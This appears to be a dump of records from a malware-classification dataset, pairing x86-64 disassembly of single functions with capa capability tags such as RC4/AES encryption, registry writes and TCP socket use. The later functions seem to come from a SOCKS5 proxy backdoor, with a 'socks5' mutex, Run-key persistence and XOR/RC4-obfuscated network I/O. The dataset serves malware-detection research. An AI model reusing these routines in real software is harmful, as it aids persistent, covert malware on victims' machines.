joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41df80
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x005c3830], 0
jne 0x41e06f
mov rdx, qword [rax + 0x50]
test byte [rdx], al
nop
nop
nop
sub rbx, qword [rax + 0x18]
mov esi, dword [rax + 0x5c]
imul rbx, rsi
mov rsi, rbx
shr rbx, 0x20
shr rsi, 0x23
and ebx, 7
mov rdi, rcx
mov rcx, rbx
mov r8d, 1
shl r8d, cl
add rdx, rsi
lock or byte [rdx], r8b
nop
nop
mov rcx, qword [rax + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x41e065
lea rbx, [0x00595c70]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and edx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx ebx, byte [rdx + rcx + 0x11440]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x11440]
shr rax, 0xd
and eax, 7
mov rcx, rax
mov eax, 1
shl eax, cl
test al, bl
jne 0x41e047
lock or byte [rdx], al
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1248], rdi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov ecx, 0x40
call fcn.0045fce0
lea rax, [0x004ccd2f]
mov ebx, 0x2c
nop dword [rax + rax]
call fcn.004345e0
nop
int3

Function at 0x420460
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x42055e
sub rsp, 0x48
mov qword [rsp + 0x40], rbp
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 8], 0
jmp 0x4204a0
mov rax, qword [rsp + 0x50]
mov rcx, rdx
mov rbx, qword [rsp + 0x58]
nop
cmp qword [rsp + 8], rbx
jae 0x42054f
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov rax, rcx
call fcn.00421020
nop dword [rax]
test rax, rax
je 0x42054f
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
lea rcx, [0x004205a0]
mov qword [rsp + 0x10], rcx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rbx, [rsp + 0x10]
mov qword [rsp], rbx
call fcn.0045d520
xorps xmm15, xmm15
mov r14, qword [0x005c3a08]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
jne 0x42053d
xor eax, eax
jmp 0x420547
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x60]
test al, al
je 0x420492
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x40]
add rsp, 0x48
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.0045d660
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.00420460
Function at 0x42de60
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x18]
jbe 0x42e106
sub rsp, 0x40
mov qword [rsp + 0x38], rbp
lea rbp, [rsp + 0x38]
test byte [rax], al
lea rsi, [rax + 0x1270]
mov rcx, qword [rax + 0x1260]
sub rcx, rsi
shr rcx, 3
cmp rcx, 0x200
ja 0x42e0fa
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rcx
mov qword [rax + 0x1260], 0
cmp byte [0x005c3830], 0
jne 0x42dec2
xor edx, edx
xor ebx, ebx
nop
jmp 0x42df0a
xor edx, edx
jmp 0x42deed
mov qword [rsp + 0x28], rdx
mov rcx, qword [rax + rdx*8 + 0x1270]
mov rax, rcx
call fcn.0041d7a0
mov rdx, qword [rsp + 0x28]
inc rdx
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
cmp rdx, rcx
jl 0x42dec6
add rax, 0x1260
call fcn.0042dd20
mov rbp, qword [rsp + 0x38]
add rsp, 0x40
ret
inc rdx
cmp rdx, rcx
jge 0x42e094
mov rsi, qword [rax + rdx*8 + 0x1270]
nop dword [rax + rax]
cmp rsi, 0x1000
jb 0x42df07
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov rax, rsi
xor ebx, ebx
mov rcx, rbx
nop dword [rax + rax]
call fcn.00412840
test rax, rax
jne 0x42df62
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
nop
jmp 0x42df07
mov rsi, qword [rbx + 0x50]
test byte [rsi], al
nop
mov r8, rcx
shr rcx, 3
movzx r9d, byte [rsi + rcx]
and r8d, 7
mov rdx, rcx
mov rcx, r8
mov r10d, 1
shl r10d, cl
add rsi, rdx
test r10b, r9b
je 0x42dfa9
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42df07
nop
lock or byte [rsi], r10b
nop
nop
mov rcx, qword [rbx + 0x18]
nop
movabs rsi, 0x800000000000
lea r8, [rsi + rcx]
mov r9, r8
shr r8, 0x2a
cmp r8, 0x40
jae 0x42e0ed
lea r10, [0x00595c70]
mov r8, qword [r10 + r8*8]
shr r9, 0x16
and r9d, 0xfffff
mov r9, qword [r8 + r9*8]
test byte [r9], al
test byte [r8], al
mov r8, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx r10d, byte [r9 + rcx + 0x11440]
lea r9, [r9 + rcx]
lea r9, [r9 + 0x11440]
shr r8, 0xd
and r8d, 7
mov rcx, r8
mov r8d, 1
shl r8d, cl
test r8b, r10b
jne 0x42e02f
lock or byte [r9], r8b
movzx r8d, byte [rbx + 0x62]
test r8b, 1
je 0x42e065
mov rax, qword [rsp + 0x48]
mov r8, qword [rax + 0x1248]
add r8, qword [rbx + 0x68]
mov qword [rax + 0x1248], r8
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42df07
mov r8, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
cmp r8, rcx
jae 0x42e0e5
mov rbx, qword [rsp + 0x48]
mov qword [rbx + r8*8 + 0x1270], rax
inc r8
mov rax, rbx
mov rdx, qword [rsp + 0x28]
mov rbx, r8
jmp 0x42df07
cmp rbx, 0x200
ja 0x42e0d8
lea rdx, [rax + 0x1270]
lea rsi, [rax + 0x1238]
mov rcx, rbx
mov edi, 0x200
mov rbx, rdx
mov rax, rsi
call fcn.00423920
mov rax, qword [rsp + 0x48]
add rax, 0x1260
call fcn.0042dd20
mov rbp, qword [rsp + 0x38]
add rsp, 0x40
ret
mov rcx, rbx
mov edx, 0x200
call fcn.0045fd40
mov rax, r8
call fcn.0045fcc0
mov rax, r8
mov ecx, 0x40
call fcn.0045fce0
mov edx, 0x200
nop
call fcn.0045fd20
nop
mov qword [rsp + 8], rax
call fcn.004620c0
mov rax, qword [rsp + 8]
jmp fcn.0042de60
Function at 0x442e00
Capabilities:
Encode data using base64

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x442f6a
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov ecx, dword [rax + 0x190]
mov edx, dword [rax + 0x194]
mov rsi, qword [rax + 0x998]
mov edi, dword [rax + 0x194]
cmp edi, edx
jne 0x442e18
cmp edx, ecx
jne 0x442f58
nop dword [rax]
test rsi, rsi
jne 0x442f58
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x442e74
nop
call fcn.00461660
xorps xmm15, xmm15
mov r14, qword [0x005c3a08]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rbx, qword [rsp]
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x10], rbx
call fcn.00442d00
mov rcx, qword [0x00570aa8]
mov rdx, qword [0x00570aa0]
mov rbx, qword [rsp + 0x28]
mov esi, dword [rbx]
mov edi, esi
sar esi, 0x1f
shr esi, 0x1b
add esi, edi
mov r8d, esi
and esi, 0xffffffe0
sub edi, esi
test edi, edi
jl 0x442f53
cmp edi, 0x20
sbb esi, esi
sar r8d, 5
mov rax, rcx
mov ecx, edi
mov r9d, 1
shl r9d, cl
and r9d, esi
movsxd rsi, r8d
cmp rax, rsi
jbe 0x442f48
lea rcx, [rdx + rsi*4]
lock or dword [rcx], r9d
mov rcx, qword [0x00571530]
mov qword [rbx + 8], rcx
nop
mov rcx, rbx
mov qword [0x00571530], rbx
nop
mov edx, 1
lea rsi, [0x00571538]
lock xadd dword [rsi], edx
mov rdx, qword [rcx + 0x1220]
shr rdx, 0x3d
test dl, dl
jne 0x442f37
nop
nop
mov rax, qword [rsp + 0x10]
movabs rdx, 0x1fffffffffffffff
and rdx, rax
bts rdx, 0x3f
xchg qword [rcx + 0x1220], rdx
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
lea rax, [0x004cc4dc]
mov ebx, 0x28
call fcn.004345e0
mov rcx, rax
mov rax, rsi
call fcn.0045fcc0
call fcn.00432c00
lea rax, [0x004cb801]
mov ebx, 0x23
call fcn.004345e0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045d660
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00442e00
Function at 0x44dee0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x44e058
movzx edx, byte [rax]
nop
test edx, edx
jne 0x44df1c
test r8b, r8b
jne 0x44df1c
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
bt edx, 7
jae 0x44df2f
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x44e018
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
cmp rbx, r8
jb 0x44e006
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rcx
sar rcx, 0x3f
and r8, rcx
lea rsi, [rax + r8]
test rbx, rbx
jbe 0x44dffc
movzx r8d, byte [rax + r8]
bt r8d, 7
jae 0x44df83
xor eax, eax
xor ecx, ecx
xor r8d, r8d
jmp 0x44dfc6
mov eax, 1
cmp rax, rbx
ja 0x44dfb5
add qword [rdi], r8
sub rdx, rax
sub rbx, rax
mov rcx, rdx
neg rdx
sar rdx, 0x3f
and rax, rdx
add rax, rsi
mov edi, 1
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rcx, rbx
call fcn.0045fd80
lea r8d, [rcx + 7]
mov ecx, eax
mov eax, r10d
cmp rax, rbx
jae 0x44dff4
movzx r9d, byte [rax + rsi]
lea r10d, [rax + 1]
mov r11d, r9d
and r9d, 0x7f
mov eax, ecx
mov ecx, r8d
shl r9d, cl
or eax, r9d
test r11b, 0x80
jne 0x44dfbd
mov r8d, eax
mov eax, r10d
jmp 0x44df88
mov rcx, rbx
call fcn.0045fcc0
xor eax, eax
mov rcx, rax
call fcn.0045fcc0
mov eax, r8d
mov rcx, rbx
call fcn.0045fd80
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x44e04e
movzx r10d, byte [rdx + rax]
inc edx
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
or r8d, r10d
test r11b, 0x80
jne 0x44e011
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x44df35
mov eax, edx
mov rcx, rbx
call fcn.0045fcc0
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.0045fcc0
nop
int3
Function at 0x455840
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4558f9
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rdx, [0x00455940]
mov qword [rsp + 0x10], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x28], rdx
mov rdx, r14
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0045d520
xorps xmm15, xmm15
mov r14, qword [0x005c3a08]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045d660
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.00455840
Function at 0x45f700
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x40300f
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
nop
call fcn.004098a0
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045d660
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x402fe0
cmp byte [0x005c382f], 0
je 0x45f715
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45c760
jmp 0x402fe0

Function at 0x45f720
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005c3b00]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x005c382f], 0
je 0x45f755
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005c3e40]
aesenc xmm0, xmmword [0x005c3e50]
aesenc xmm0, xmmword [0x005c3e60]
movq rax, xmm0
ret
jmp 0x409aa0

Function at 0x45f760
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005c3b00]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x005c382f], 0
je 0x45f796
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005c3e40]
aesenc xmm0, xmmword [0x005c3e50]
aesenc xmm0, xmmword [0x005c3e60]
movq rax, xmm0
ret
jmp 0x409b00

Function at 0x461180
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x005c3dc0]
mov qword [rsp + 8], rdx
lea r8d, [0x005c3848]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
call fcn.0045f640
add rsp, 0x30
ret

Function at 0x4616c0
Capabilities:
Allocate thread local storage

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x4616f0
mov rcx, 0x28
jmp 0x4616fb
shl rcx, 3
add rcx, 0x1480
mov qword [0x005c3a08], rcx
ret
Function at 0x4a3260
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4a3366
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rsi
test r8, r8
je 0x4a32e2
cmp r8, rdi
ja 0x4a3358
cmp rsi, rbx
je 0x4a32c5
nop
mov rdx, rbx
lea rdi, [rsi + r8]
lea rdi, [rdi - 1]
cmp rdi, rbx
jb 0x4a32c2
mov rdi, rsi
lea r9, [rdx + r8]
lea r9, [r9 - 1]
cmp r9, rsi
jae 0x4a3345
mov rbx, rdx
mov rsi, rdi
jmp 0x4a32c5
mov rbx, rdx
movzx edx, byte [rax + 0x400]
movzx edi, byte [rax + 0x401]
lea r9, [r8 - 1]
cmp rcx, r9
jbe 0x4a333d
xor ecx, ecx
nop
jmp 0x4a3321
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
movzx r9d, byte [rsi + rcx]
inc edx
movzx r10d, dl
mov r11d, dword [rax + r10*4]
add edi, r11d
movzx r12d, dil
mov r13d, dword [rax + r12*4]
mov dword [rax + r10*4], r13d
mov dword [rax + r12*4], r11d
lea r10d, [r11 + r13]
movzx r10d, r10b
xor r9d, dword [rax + r10*4]
mov byte [rbx + rcx], r9b
inc rcx
cmp r8, rcx
jg 0x4a32ec
mov byte [rax + 0x400], dl
mov byte [rax + 0x401], dil
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rax, r9
call fcn.0045fcc0
lea rax, [0x004b08e0]
lea rbx, [0x004e8cc0]
call fcn.00433e40
mov rcx, r8
mov rdx, rdi
nop
call fcn.0045fd40
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], r9
call fcn.0045d660
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
jmp fcn.004a3260
Function at 0x140001000
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
sub rsp, 0x20
mov rcx, 0x100000
mov rdx, 0
lea r8, str.socks5
call qword [sym.imp.kernel32.dll_OpenMutexA]
add rsp, 0x20
test eax, eax
jne 0x1400010d6
sub rsp, 0x20
mov rcx, 0
mov rdx, 0
lea r8, str.socks5
call qword [sym.imp.kernel32.dll_CreateMutexA]
add rsp, 0x20
sub rsp, 0x40
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea r8, str.socks5
mov r9, 1
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 1
call fcn.1400037e0
add rsp, 0x40
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [0x140001547]
mov r9, 0
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
call qword [sym.imp.kernel32.dll_CreateThread]
add rsp, 0x30
add rsp, 0x10
pop rbp
ret
Function at 0x14000271b
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x38
mov qword [rbp - 0x40], 0xa
cmp qword [rbp + 0x28], 0
je 0x140002768
mov edx, 0xffffffff
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
add rsp, 0x20
mov rsi, qword [rbp + 0x18]
jmp 0x140002803
sub rsp, 0x30
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
mov qword [rsp + 0x20], 0
call fcn.140002bc0
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp eax, 1
jne 0x14000280e
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, rsi
mov r8, qword [rbp + 0x20]
mov r9, 0
call qword [sym.imp.ws2_32.dll_send]
add rsp, 0x20
test eax, eax
jle 0x14000280e
sub qword [rbp + 0x20], rax
add rsi, rax
dec qword [rbp - 0x40]
je 0x14000280e
cmp qword [rbp + 0x20], 0
jne 0x140002771
cmp qword [rbp + 0x28], 0
je 0x140002827
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_SetEvent]
add rsp, 0x20
mov rax, qword [rbp + 0x20]
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret

Function at 0x14000283c
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x28
sub rsp, 0x30
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x60]
mov r9, qword [rbp + 0x28]
mov qword [rsp + 0x20], 0
call fcn.140002bc0
add rsp, 0x30
lea r12, [rbp - 0x48]
cmp qword [rbp + 0x28], 0
jne 0x14000289a
xor r12, r12
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x60]
mov r8, 0
mov r9, 0
mov qword [rsp + 0x20], r12
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp rax, 1
jne 0x1400028ed
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x20]
mov r9, 0
call qword [sym.imp.ws2_32.dll_recv]
add rsp, 0x20
add rsp, 0x28
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x140002952
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x448
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1400034bd
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x68]
mov rdx, 0x30
call fcn.1400034bd
add rsp, 0x20
mov rax, qword [rbp + 0x18]
mov dword [rbp - 0x64], eax
mov dword [rbp - 0x60], 1
mov dword [rbp - 0x5c], 6
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x68]
lea r9, [rbp - 0x70]
call qword [sym.imp.ws2_32.dll_getaddrinfo]
add rsp, 0x20
cmp rax, 0
jne 0x140002a21
mov rsi, qword [rbp - 0x70]
jmp 0x140002a1b
cmp qword [rbp + 0x18], 2
jne 0x140002a17
cmp dword [rsi + 4], 2
jne 0x140002a17
mov rdx, qword [rsi + 0x20]
xor rax, rax
mov eax, dword [rdx + 4]
mov qword [rbp - 0x480], rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
add rsp, 0x20
jmp 0x140002a21
mov rsi, qword [rsi + 0x28]
cmp rsi, 0
jne 0x1400029e5
mov rax, qword [rbp - 0x480]
add rsp, 0x448
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret

Function at 0x140002a3c
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rax
push rbx
push rcx
push rdx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x410
sub rsp, 0x20
lea rcx, [rbp - 0x450]
mov rdx, 0x400
call fcn.1400034bd
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x458]
mov rdx, 8
call fcn.1400034bd
add rsp, 0x20
mov rsi, qword [rbp + 0x20]
lea rdi, [rbp + 0x10]
mov rcx, qword [rbp + 0x28]
xor rbx, rbx
jmp 0x140002ac7
mov al, byte [rbx + rdi]
xor byte [rsi], al
inc rsi
inc rbx
dec rcx
cmp rbx, qword [rbp + 0x18]
jne 0x140002ac7
xor rbx, rbx
cmp ecx, 0
jg 0x140002ab0
cmp qword [rbp - 0x458], 1
je 0x140002ba9
movabs rax, 0xfffefdfc
mov rcx, 0x40
mov dword [rbp + rcx*4 - 0x454], eax
sub rax, 0x4040404
dec rcx
jne 0x140002aeb
xor rax, rax
mov rdi, qword [rbp + 0x10]
xor rbx, rbx
mov rsi, qword [rbp + 0x18]
jmp 0x140002b14
inc bl
dec rsi
je 0x140002b04
mov dl, byte [rcx + rbp - 0x450]
add al, byte [rbx + rdi]
add al, dl
mov dh, byte [rax + rbp - 0x450]
mov byte [rcx + rbp - 0x450], dh
mov byte [rax + rbp - 0x450], dl
inc cl
jne 0x140002b0d
mov rdi, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
test rdi, rdi
je 0x140002b99
xor rax, rax
xor rdx, rdx
xor rcx, rcx
xor rbx, rbx
inc bl
mov dl, byte [rbx + rbp - 0x450]
add al, dl
mov cl, byte [rax + rbp - 0x450]
mov byte [rbx + rbp - 0x450], cl
mov byte [rax + rbp - 0x450], dl
add cl, dl
mov cl, byte [rcx + rbp - 0x450]
xor byte [rsi], cl
inc rsi
dec rdi
jne 0x140002b52
xor rax, rax
lea rdi, [rbp - 0x450]
mov rcx, 0x40
cld
rep stosd dword [rdi], eax
mov qword [rbp - 0x458], 1
jmp 0x140002a9f
add rsp, 0x410
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rdx
pop rcx
pop rbx
pop rax
pop rbp
ret
Function at 0x140002e02
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x58
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1400034bd
add rsp, 0x20
sub rsp, 0x20
mov rcx, 2
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
mov qword [rbp - 0x40], rax
sub rsp, 0x20
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp + 0x10]
mov r8, 8
call fcn.14000365d
add rsp, 0x20
mov qword [rbp - 0x80], 1
sub rsp, 0x30
mov rcx, qword [rbp - 0x40]
mov rdx, 6
mov r8, 1
lea r9, [rbp - 0x80]
mov qword [rsp + 0x20], 8
call qword [sym.imp.ws2_32.dll_setsockopt]
add rsp, 0x30
sub rsp, 0x20
call fcn.14000305d
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x18]
call fcn.140002c34
add rsp, 0x20
cmp rax, 0
je 0x140002ee4
mov rax, qword [rbp + 0x18]
jmp 0x140002f0d
sub rsp, 0x20
mov rcx, qword [rbp + 0x18]
mov rdx, 2
call fcn.140002952
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.ws2_32.dll_inet_ntoa]
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.ws2_32.dll_inet_addr]
add rsp, 0x20
test rax, rax
je 0x140003038
mov dword [rbp - 0x74], eax
mov rax, qword [rbp + 0x20]
cmp rax, 0x10000
jbe 0x140002f46
sub rsp, 0x20
mov rcx, rax
call fcn.14000378a
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.ws2_32.dll_htons]
add rsp, 0x20
mov word [rbp - 0x76], ax
mov word [rbp - 0x78], 2
mov qword [rbp - 0x80], 1
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
